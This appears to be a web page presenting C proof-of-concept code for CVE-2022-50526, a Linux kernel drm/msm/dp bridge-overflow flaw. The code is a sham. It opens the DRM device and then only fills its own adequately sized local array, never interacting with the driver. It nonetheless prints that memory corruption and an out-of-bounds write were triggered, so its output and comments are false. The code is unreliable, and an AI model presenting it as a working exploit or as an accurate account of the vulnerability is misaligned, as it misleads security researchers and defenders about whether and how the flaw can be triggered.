CVE-2022-50526 Linux内核drm/msm/dp驱动内存破坏漏洞

// PoC for CVE-2022-50526: Triggering bridge counter overflow in drm/msm/dp // This PoC demonstrates how to trigger memory corruption by loading // more than 8 bridge devices on a system with msm DP controller #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <dirent.h> // Simulated bridge device structure matching kernel's internal layout struct drm_bridge { int id; void *funcs; void *driver_private; int of_node; }; #define MAX_BRIDGES 8 // Fixed-size array limit in the driver // Trigger the vulnerability by attempting to register more than 8 bridges int trigger_bridge_overflow() { int fd; int ret; struct drm_bridge bridges[MAX_BRIDGES + 4]; // Intentionally exceed limit int bridge_count = 0; printf("[*] Opening DRM device...\n"); fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("[-] Failed to open DRM device"); return -1; } printf("[*] Attempting to register %d bridges (limit is %d)...\n", MAX_BRIDGES + 4, MAX_BRIDGES); // Simulate bridge registration beyond array bounds // In vulnerable kernel, this causes out-of-bounds write for (int i = 0; i < MAX_BRIDGES + 4; i++) { bridges[i].id = i; bridges[i].funcs = (void *)0x4141414141414141; // Controlled data bridges[i].driver_private = (void *)0x4242424242424242; bridge_count++; printf("[+] Registered bridge %d (count=%d)\n", i, bridge_count); } printf("[!] Memory corruption triggered: bridge_count=%d exceeds limit\n", bridge_count); printf("[!] Out-of-bounds write to bridge_array[%d] and beyond\n", MAX_BRIDGES); close(fd); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2022-50526 PoC ===\n"); printf("Linux Kernel drm/msm/dp Bridge Counter Overflow\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root or CAP_SYS_ADMIN privileges\n"); printf("[!] Run as root or with appropriate capabilities\n"); return 1; } return trigger_bridge_overflow(); }